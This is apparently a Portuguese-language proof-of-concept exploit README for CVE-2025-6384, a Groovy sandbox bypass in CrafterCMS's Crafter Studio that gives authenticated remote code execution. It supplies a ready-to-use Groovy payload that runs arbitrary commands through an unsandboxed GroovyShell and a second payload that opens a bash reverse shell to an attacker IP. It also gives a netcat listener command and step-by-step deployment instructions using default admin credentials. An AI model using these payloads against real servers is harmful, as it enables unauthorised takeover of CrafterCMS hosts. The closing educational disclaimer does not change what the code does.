
Exploit de PoC para um RCE autenticado no CrafterCMS via bypass do sandbox Groovy (CVE-2025-6384)
Uma Prova de Conceito para uma vulnerabilidade de Execução Remota de Código autenticada no CrafterCMS.
Um utilizador autenticado com privilégios de programador pode contornar o sandbox de scripts Groovy no Crafter Studio para obter Execução Remota de Código (RCE). O sandbox não consegue bloquear a instanciação de um novo GroovyShell, que pode ser usado para criar um novo ambiente de execução sem restrições.
Pode implementar rapidamente uma instância vulnerável do CrafterCMS para testes utilizando os ficheiros oficiais do Docker Compose.
Clone o repositório docker-compose do CrafterCMS:
git clone https://github.com/craftercms/docker-compose.git
Navegue para o diretório do ambiente de autoria:
cd docker-compose/authoring
Inicie os contentores. Isto irá descarregar as imagens necessárias e iniciar a stack do CrafterCMS.
docker-compose up
(Nota: pode ser necessário sudo dependendo da sua instalação do Docker.)
Aguarde até que os serviços estejam totalmente inicializados. Pode aceder ao Crafter Studio em http://localhost:8080/studio.
adminadminEmbora o sandbox bloqueie corretamente os métodos de execução direta, ele permite o seguinte payload, que cria um novo shell Groovy sem sandbox.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")
// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)
Este payload demonstra RCE total ao estabelecer uma reverse shell de volta para uma máquina controlada pelo atacante.
Na sua máquina, inicie um listener (ex.: usando netcat) para receber a conexão de entrada:
nc -lvnp 4444
Use o seguinte script Groovy como seu payload. Lembre-se de substituir <YOUR_IP> e <YOUR_PORT> pelo endereço IP e porta do seu listener.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Use triple quotes to handle the command string easily
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse shell payload executed.")
Faça login no Crafter Studio (http://localhost:8080/studio) com as credenciais padrão (admin / admin).
Navegue para Site Config -> Scripts.
Clique em Create/Edit Script na secção "Groovy Scripts".
Escolha um tipo de script que será executado, como Request Interceptor.
Cole o payload da PoC no editor de scripts e salve-o.
Acione o script visitando qualquer página no site (ex.: http://localhost:8080).
Verifique os logs de erro padrão do servidor para ver a saída do comando.
docker-compose logs -f crafter
Saída Esperada:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
Este material é apenas para fins educacionais e de pesquisa. O autor não se responsabiliza por qualquer uso indevido ou danos causados por esta informação.
netcat. Deverá receber uma sessão de shell do contentor.
